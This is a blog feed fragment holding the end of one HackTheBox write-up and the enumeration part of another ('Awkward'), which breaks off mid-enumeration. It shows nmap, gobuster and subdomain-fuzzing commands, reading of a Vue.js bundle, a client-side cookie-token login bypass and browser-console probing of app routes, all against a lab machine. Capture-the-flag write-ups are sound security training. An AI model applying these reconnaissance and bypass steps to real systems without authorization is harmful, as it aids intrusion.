  <span class="n">nanosleep</span><span class="p">({</span><span class="n">tv_sec</span><span class="o">=</span><span class="mi">5</span><span class="p">,</span> <span class="n">tv_nsec</span><span class="o">=</span><span class="mi">0</span><span class="p">},</span> <span class="nb">NULL</span><span class="p">)</span>  <span class="o">=</span> <span class="mi">0</span>
  <span class="p">...</span> <span class="k">while</span> <span class="nb">true</span>
</code></pre></div>    </div>
  </li>
</ul>]]></content><author><name>Federico Fantini</name></author><category term="Writeups" /><category term="HackTheBox" /><category term="CTF" /><category term="Local-File-Inclusion" /><category term="SpringFramework" /><category term="SpringCloud" /><category term="CVE-2022-22963" /><category term="Plaintext-Password" /><category term="SSH-DenyUsers" /><category term="ansible" /><summary type="html"><![CDATA[INDEX Enumeration Privesc frank Privesc www-data Extra (just for fun)]]></summary></entry><entry><title type="html">Awkward writeup</title><link href="https://federicofantini.github.io/blog/2022/12/17/Awkward.html" rel="alternate" type="text/html" title="Awkward writeup" /><published>2022-12-17T00:00:00+01:00</published><updated>2022-12-17T00:00:00+01:00</updated><id>https://federicofantini.github.io/blog/2022/12/17/Awkward</id><content type="html" xml:base="https://federicofantini.github.io/blog/2022/12/17/Awkward.html"><![CDATA[<h1 id="index">INDEX</h1>
<ul>
  <li><a href="#index">INDEX</a>
    <ul>
      <li><a href="#enumeration">Enumeration</a></li>
      <li><a href="#privesc-bean">Privesc bean</a></li>
      <li><a href="#privesc-www-data">Privesc www-data</a></li>
    </ul>
  </li>
</ul>

<p><br /><br /></p>

<p><img src="/blog/assets/images/machines/Awkward/Awkward.png" alt="Awkward box HTB" /></p>

<h2 id="enumeration">Enumeration</h2>

<ul>
  <li><code class="language-html highlighter-rouge">nmap -sV -p- -A 10.10.11.185</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)
  |_  256 59365bba3c7821e326b37d23605aec38 (ED25519)
  80/tcp open  http    nginx 1.18.0 (Ubuntu)
  |_http-server-header: nginx/1.18.0 (Ubuntu)
  |_http-title: Site doesn't have a title (text/html).
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">curl 10.10.11.185</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;!DOCTYPE html&gt;</span>
  <span class="nt">&lt;html&gt;</span>
  <span class="nt">&lt;head&gt;</span>
  <span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"Refresh"</span> <span class="na">content=</span><span class="s">"0; url='http://hat-valley.htb'"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;/head&gt;</span>
  <span class="nt">&lt;body&gt;</span>
  <span class="nt">&lt;/body&gt;</span>
  <span class="nt">&lt;/html&gt;</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://hat-valley.htb/ </code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  /static               (Status: 301) [Size: 179] [--&gt; /static/]
  /css                  (Status: 301) [Size: 173] [--&gt; /css/]
  /js                   (Status: 301) [Size: 171] [--&gt; /js/]
</code></pre></div>    </div>
  </li>
  <li>
    <p><a href="http://hat-valley.htb/js/app.js"><code class="language-html highlighter-rouge">http://hat-valley.htb/js/app.js</code></a> → site created with <strong>VUE.js</strong></p>

    <p>seeing the <a href="http://hat-valley.htb/js/custom.js"><code class="language-html highlighter-rouge">http://hat-valley.htb/js/custom.js</code></a> file I tried to do a HTTP POST:<br />
  <code class="language-html highlighter-rouge">curl -d "firstname=test<span class="err">&amp;</span>email=test@test.htb<span class="err">&amp;</span>lastname=test<span class="err">&amp;</span>message=test<span class="err">&amp;</span>agree=yes" -X POST http://hat-valley.htb/</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;!DOCTYPE html&gt;</span>
  <span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;head&gt;</span>
  <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;title&gt;</span>Error<span class="nt">&lt;/title&gt;</span>
  <span class="nt">&lt;/head&gt;</span>
  <span class="nt">&lt;body&gt;</span>
  <span class="nt">&lt;pre&gt;</span>Cannot POST /<span class="nt">&lt;/pre&gt;</span>
  <span class="nt">&lt;/body&gt;</span>
  <span class="nt">&lt;/html&gt;</span>
</code></pre></div>    </div>

    <p>the site mentions: <em>We are currently building an online store! No longer do you have to come visit us - stay at home, visit your local library or steal your neighbours internet, and buy our hats online!</em></p>

    <p>I’m looking for subdomains: <code class="language-html highlighter-rouge">./eren.bin subdomain_fuzzing hat-valley.htb --threads 100</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [FOUND] LINE 100 --&gt; http://store.hat-valley.htb
</code></pre></div>    </div>

    <p>found the subdomain, I also search in the file <a href="http://hat-valley.htb/js/app.js"><code class="language-html highlighter-rouge">http://hat-valley.htb/js/app.js</code></a> the keywords “store”, “.htb”, “href”:</p>
    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="k">return</span> <span class="nx">_services_status_js__WEBPACK_IMPORTED_MODULE_2__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">].</span><span class="nx">store_status</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://store.hat-valley.htb</span><span class="dl">"</span><span class="p">)</span>
</code></pre></div>    </div>
    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">__webpack_require__</span><span class="p">(</span><span class="cm">/*! /var/www/hat-valley.htb/node_modules/webpack/hot/dev-server.js */</span><span class="dl">"</span><span class="s2">./node_modules/webpack/hot/dev-server.js</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">__webpack_require__</span><span class="p">(</span><span class="cm">/*! /var/www/hat-valley.htb/node_modules/webpack-dev-server/client/index.js?http://localhost:8080&amp;sockPath=/sockjs-node */</span><span class="dl">"</span><span class="s2">./node_modules/webpack-dev-server/client/index.js?http://localhost:8080&amp;sockPath=/sockjs-node</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div>    </div>
    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/dashboard</span><span class="dl">"</span>
</code></pre></div>    </div>

    <p>there is a very interesting subpage <a href="http://hat-valley.htb/sockjs-node"><code class="language-html highlighter-rouge">http://hat-valley.htb/sockjs-node</code></a>, I go in order and analyze the whole store first</p>
  </li>
  <li>
    <p>I visit <a href="http://store.hat-valley.htb"><code class="language-html highlighter-rouge">http://store.hat-valley.htb</code></a> and <a href="http://hat-valley.htb/dashboard"><code class="language-html highlighter-rouge">http://hat-valley.htb/dashboard</code></a> (redirect to <a href="http://hat-valley.htb/hr"><code class="language-html highlighter-rouge">http://hat-valley.htb/hr</code></a>) → both require a login</p>

    <p><em>NOTE: <a href="http://store.hat-valley.htb"><code class="language-html highlighter-rouge">http://store.hat-valley.htb</code></a> uses <a href="https://en.wikipedia.org/wiki/Basic_access_authentication">https://en.wikipedia.org/wiki/Basic_access_authentication</a></em></p>

    <p>I search in <a href="http://hat-valley.htb/js/app.js"><code class="language-html highlighter-rouge">http://hat-valley.htb/js/app.js</code></a> if there are references to the word “login”:</p>
    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="k">if</span> <span class="p">((</span><span class="nx">to</span><span class="p">.</span><span class="nx">name</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">leave</span><span class="dl">'</span> <span class="o">||</span> <span class="nx">to</span><span class="p">.</span><span class="nx">name</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">dashboard</span><span class="dl">'</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">vue_cookie_next__WEBPACK_IMPORTED_MODULE_2__</span><span class="p">[</span><span class="dl">"</span><span class="s2">VueCookieNext</span><span class="dl">"</span><span class="p">].</span><span class="nx">getCookie</span><span class="p">(</span><span class="dl">'</span><span class="s1">token</span><span class="dl">'</span><span class="p">)</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">guest</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
      <span class="c1">//if user not logged in, redirect to login</span>
      <span class="nx">next</span><span class="p">({</span><span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">hr</span><span class="dl">'</span><span class="p">});</span>
  <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">to</span><span class="p">.</span><span class="nx">name</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">hr</span><span class="dl">'</span> <span class="o">&amp;&amp;</span> <span class="nx">vue_cookie_next__WEBPACK_IMPORTED_MODULE_2__</span><span class="p">[</span><span class="dl">"</span><span class="s2">VueCookieNext</span><span class="dl">"</span><span class="p">].</span><span class="nx">getCookie</span><span class="p">(</span><span class="dl">'</span><span class="s1">token</span><span class="dl">'</span><span class="p">)</span> <span class="o">!=</span> <span class="dl">'</span><span class="s1">guest</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
      <span class="c1">//if user logged in, skip past login to dashboard</span>
      <span class="nx">next</span><span class="p">({</span><span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">dashboard</span><span class="dl">'</span><span class="p">});</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="nx">next</span><span class="p">();</span>
  <span class="p">}</span>
</code></pre></div>    </div>

    <p>seeing the control in the previous code just change the value of the token with a value other than <code class="language-html highlighter-rouge">guest</code> to be taken to the <code class="language-html highlighter-rouge">/dashboard</code></p>
  </li>
  <li>
    <p>the site basically has only one function: <strong>Leave Requests</strong>, I put random parameters and see if it generates traffic:</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  JsonWebTokenError: jwt malformed
      at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17)
      at /var/www/hat-valley.htb/server/server.js:102:30
      at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
      at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)
      at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)
      at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
      at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15
      at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)
      at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10)
      at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
</code></pre></div>    </div>

    <p>I see in the <code class="language-html highlighter-rouge">Network</code> tab of the browser that the following URLs have been contacted and both respond with the same error above (HTTP 500):</p>
    <ul>
      <li><a href="http://hat-valley.htb/api/all-leave"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/all-leave</code></a> (done automatically, HTTP GET)</li>
      <li><a href="http://hat-valley.htb/api/submit-leave"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/submit-leave</code></a> (my request, HTTP POST)</li>
    </ul>

    <p>I go into <code class="language-html highlighter-rouge">JWT</code>: <a href="https://www.vaadata.com/blog/jwt-tokens-and-security-working-principles-and-use-cases/">https://www.vaadata.com/blog/jwt-tokens-and-security-working-principles-and-use-cases/</a></p>

    <p>ok, is it bypassable? <a href="https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a">https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a</a></p>

    <p>unfortunately I don’t think it can be bypassed, I don’t have enough elements so I go back to the enumeration</p>
  </li>
  <li>
    <p><a href="https://stackoverflow.com/questions/71929421/call-vue-store-action-through-browser-console">https://stackoverflow.com/questions/71929421/call-vue-store-action-through-browser-console</a></p>

    <p><code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties</code></p>
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">$cookie</span><span class="p">:</span> <span class="p">{</span><span class="nl">install</span><span class="p">:</span> <span class="nx">ƒ</span><span class="p">,</span> <span class="nx">config</span><span class="p">:</span> <span class="nx">ƒ</span><span class="p">,</span> <span class="nx">getCookie</span><span class="p">:</span> <span class="nx">ƒ</span><span class="p">,</span> <span class="nx">setCookie</span><span class="p">:</span> <span class="nx">ƒ</span><span class="p">,</span> <span class="nx">removeCookie</span><span class="p">:</span> <span class="nx">ƒ</span><span class="p">,</span> <span class="err">…</span><span class="p">}</span>
  <span class="nl">$route</span><span class="p">:</span> <span class="p">(...)</span>
  <span class="nx">$router</span><span class="p">:</span> <span class="p">{</span><span class="nl">currentRoute</span><span class="p">:</span> <span class="nx">RefImpl</span><span class="p">,</span> <span class="nx">listening</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">addRoute</span><span class="p">:</span> <span class="nx">ƒ</span><span class="p">,</span> <span class="nx">removeRoute</span><span class="p">:</span> <span class="nx">ƒ</span><span class="p">,</span> <span class="nx">hasRoute</span><span class="p">:</span> <span class="nx">ƒ</span><span class="p">,</span> <span class="err">…</span><span class="p">}</span>
  <span class="nl">$store</span><span class="p">:</span> <span class="nx">Store</span> <span class="p">{</span><span class="nl">_committing</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">_actions</span><span class="p">:</span> <span class="p">{</span><span class="err">…</span><span class="p">},</span> <span class="nx">_actionSubscribers</span><span class="p">:</span> <span class="nb">Array</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="nx">_mutations</span><span class="p">:</span> <span class="p">{</span><span class="err">…</span><span class="p">},</span> <span class="nx">_wrappedGetters</span><span class="p">:</span> <span class="p">{</span><span class="err">…</span><span class="p">},</span> <span class="err">…</span><span class="p">}</span>
  <span class="kd">get</span> <span class="nx">$route</span><span class="p">:</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span><span class="err">…</span><span class="p">}</span>
  <span class="p">[[</span><span class="nx">Prototype</span><span class="p">]]:</span> <span class="nb">Object</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$cookie.getCookie()</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  null
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()</code></p>
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="mi">0</span><span class="p">:</span> <span class="p">{</span><span class="nl">path</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span> <span class="nx">redirect</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span> <span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">base</span><span class="dl">'</span><span class="p">,</span> <span class="nx">meta</span><span class="p">:</span> <span class="p">{</span><span class="err">…</span><span class="p">},</span> <span class="nx">aliasOf</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span> <span class="err">…</span><span class="p">}</span>
  <span class="mi">1</span><span class="p">:</span> <span class="p">{</span><span class="nl">path</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/hr</span><span class="dl">'</span><span class="p">,</span> <span class="nx">redirect</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span> <span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">hr</span><span class="dl">'</span><span class="p">,</span> <span class="nx">meta</span><span class="p">:</span> <span class="p">{</span><span class="err">…</span><span class="p">},</span> <span class="nx">aliasOf</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span> <span class="err">…</span><span class="p">}</span>
  <span class="mi">2</span><span class="p">:</span> <span class="p">{</span><span class="nl">path</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/dashboard</span><span class="dl">'</span><span class="p">,</span> <span class="nx">redirect</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span> <span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">dashboard</span><span class="dl">'</span><span class="p">,</span> <span class="nx">meta</span><span class="p">:</span> <span class="p">{</span><span class="err">…</span><span class="p">},</span> <span class="nx">aliasOf</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span> <span class="err">…</span><span class="p">}</span>
  <span class="mi">3</span><span class="p">:</span> <span class="p">{</span><span class="nl">path</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/leave</span><span class="dl">'</span><span class="p">,</span> <span class="nx">redirect</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span> <span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">leave</span><span class="dl">'</span><span class="p">,</span> <span class="nx">meta</span><span class="p">:</span> <span class="p">{</span><span class="err">…</span><span class="p">},</span> <span class="nx">aliasOf</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span> <span class="err">…</span><span class="p">}</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$store</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  commit: ƒ boundCommit(type, payload, options)
  dispatch: ƒ boundDispatch(type, payload)
</code></pre></div>    </div>
  </li>
  <li>I search for the word “token” in <a href="http://hat-valley.htb/js/app.js"><code class="language-html highlighter-rouge">http://hat-valley.htb/js/app.js</code></a> and find the following functions:
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">HR</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">data</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">data</span><span class="p">()</span> <span class="p">{</span>
      <span class="k">return</span> <span class="p">{</span>
          <span class="na">username</span><span class="p">:</span> <span class="dl">''</span><span class="p">,</span>
          <span class="na">password</span><span class="p">:</span> <span class="dl">''</span>
      <span class="p">};</span>
  <span class="p">},</span>
  <span class="nx">methods</span><span class="p">:</span> <span class="p">{</span>
      <span class="nl">updateUsername</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">updateUsername</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">username</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">updatePassword</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">updatePassword</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">password</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">hideError</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">hideError</span><span class="p">()</span> <span class="p">{</span>
          <span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByClassName</span><span class="p">(</span><span class="dl">"</span><span class="s2">wrongCreds</span><span class="dl">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">style</span><span class="p">.</span><span class="nx">display</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">none</span><span class="dl">'</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">submitForm</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">submitForm</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">_this</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>

          <span class="k">return</span> <span class="nb">Object</span><span class="p">(</span><span class="nx">_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">])(</span> <span class="cm">/*#__PURE__*/</span> <span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">mark</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee</span><span class="p">()</span> <span class="p">{</span>
              <span class="k">return</span> <span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">wrap</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee$</span><span class="p">(</span><span class="nx">_context</span><span class="p">)</span> <span class="p">{</span>
                  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
                      <span class="k">switch</span> <span class="p">(</span><span class="nx">_context</span><span class="p">.</span><span class="nx">prev</span> <span class="o">=</span> <span class="nx">_context</span><span class="p">.</span><span class="nx">next</span><span class="p">)</span> <span class="p">{</span>
                          <span class="k">case</span> <span class="mi">0</span><span class="p">:</span>
                              <span class="nx">e</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
                              <span class="nx">_context</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
                              <span class="k">return</span> <span class="nx">_services_session_js__WEBPACK_IMPORTED_MODULE_3__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">].</span><span class="nx">login</span><span class="p">(</span><span class="nx">_this</span><span class="p">.</span><span class="nx">username</span><span class="p">,</span> <span class="nx">_this</span><span class="p">.</span><span class="nx">password</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
                                  <span class="nx">_this</span><span class="p">.</span><span class="nx">$cookie</span><span class="p">.</span><span class="nx">setCookie</span><span class="p">(</span><span class="dl">"</span><span class="s2">token</span><span class="dl">"</span><span class="p">,</span> <span class="nx">data</span><span class="p">.</span><span class="nx">token</span><span class="p">);</span>

                                  <span class="nx">_this</span><span class="p">.</span><span class="nx">$store</span><span class="p">.</span><span class="nx">commit</span><span class="p">(</span><span class="dl">'</span><span class="s1">change</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
                                      <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">firstName</span><span class="dl">"</span><span class="p">,</span>
                                      <span class="na">value</span><span class="p">:</span> <span class="nx">data</span><span class="p">.</span><span class="nx">name</span>
                                  <span class="p">});</span>

                                  <span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="dl">"</span><span class="s2">firstName</span><span class="dl">"</span><span class="p">,</span> <span class="nx">data</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
                                  <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/dashboard</span><span class="dl">"</span><span class="p">;</span> <span class="c1">//instead of router.push so JS charts is executed</span>
                              <span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
                                  <span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByClassName</span><span class="p">(</span><span class="dl">"</span><span class="s2">wrongCreds</span><span class="dl">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">style</span><span class="p">.</span><span class="nx">display</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">block</span><span class="dl">'</span><span class="p">;</span>
                                  <span class="nx">_this</span><span class="p">.</span><span class="nx">username</span> <span class="o">=</span> <span class="dl">''</span><span class="p">;</span>
                                  <span class="nx">_this</span><span class="p">.</span><span class="nx">password</span> <span class="o">=</span> <span class="dl">''</span><span class="p">;</span>
                                  <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">sign-in-form</span><span class="dl">"</span><span class="p">).</span><span class="nx">reset</span><span class="p">();</span>
                              <span class="p">});</span>

                          <span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
                          <span class="k">case</span> <span class="dl">"</span><span class="s2">end</span><span class="dl">"</span><span class="p">:</span>
                              <span class="k">return</span> <span class="nx">_context</span><span class="p">.</span><span class="nx">stop</span><span class="p">();</span>
                      <span class="p">}</span>
                  <span class="p">}</span>
              <span class="p">},</span> <span class="nx">_callee</span><span class="p">);</span>
          <span class="p">}))();</span>
      <span class="p">}</span>
  <span class="p">}</span>
</code></pre></div>    </div>

    <p>starting from <code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties</code> I can trace the position of the previous functions.<br />
  So I’m able to enumerate all the other functions present in the routes:</p>

    <ul>
      <li><code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[1].components.default</code>
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">data</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">data</span><span class="p">()</span>
  <span class="nx">methods</span><span class="p">:</span> 
      <span class="nx">hideError</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">hideError</span><span class="p">()</span>
      <span class="nx">submitForm</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">submitForm</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span>
      <span class="nx">updatePassword</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">updatePassword</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span>
      <span class="nx">updateUsername</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">updateUsername</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span>
      <span class="p">[[</span><span class="nx">Prototype</span><span class="p">]]:</span> <span class="nb">Object</span>
      <span class="nx">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">HR</span><span class="dl">"</span>
  <span class="nx">render</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">render</span><span class="p">(</span><span class="nx">_ctx</span><span class="p">,</span> <span class="nx">_cache</span><span class="p">,</span> <span class="nx">$props</span><span class="p">,</span> <span class="nx">$setup</span><span class="p">,</span> <span class="nx">$data</span><span class="p">,</span> <span class="nx">$options</span><span class="p">)</span>
  <span class="nx">__file</span><span class="p">:</span> <span class="dl">"</span><span class="s2">src/HR.vue</span><span class="dl">"</span>
  <span class="nx">__hmrId</span><span class="p">:</span> <span class="dl">"</span><span class="s2">4a4031a3</span><span class="dl">"</span>
  <span class="nx">__scopeId</span><span class="p">:</span> <span class="dl">"</span><span class="s2">data-v-4a4031a3</span><span class="dl">"</span>
  <span class="p">[[</span><span class="nx">Prototype</span><span class="p">]]:</span> <span class="nb">Object</span>
</code></pre></div>        </div>
      </li>
      <li><code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[0].components.default</code>
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Base</span><span class="dl">"</span>
  <span class="nx">render</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">render</span><span class="p">(</span><span class="nx">_ctx</span><span class="p">,</span> <span class="nx">_cache</span><span class="p">,</span> <span class="nx">$props</span><span class="p">,</span> <span class="nx">$setup</span><span class="p">,</span> <span class="nx">$data</span><span class="p">,</span> <span class="nx">$options</span><span class="p">)</span>
  <span class="nx">__file</span><span class="p">:</span> <span class="dl">"</span><span class="s2">src/Base.vue</span><span class="dl">"</span>
  <span class="nx">__hmrId</span><span class="p">:</span> <span class="dl">"</span><span class="s2">4c40c86c</span><span class="dl">"</span>
  <span class="nx">__scopeId</span><span class="p">:</span> <span class="dl">"</span><span class="s2">data-v-4c40c86c</span><span class="dl">"</span>
  <span class="p">[[</span><span class="nx">Prototype</span><span class="p">]]:</span> <span class="nb">Object</span>
</code></pre></div>        </div>
      </li>
      <li><code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[2].components.default</code>
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">created</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">created</span><span class="p">()</span>
  <span class="nx">data</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">data</span><span class="p">()</span>
  <span class="nx">methods</span><span class="p">:</span> 
      <span class="nx">getStaff</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">getStaff</span><span class="p">()</span>
      <span class="nx">logout</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">logout</span><span class="p">()</span>
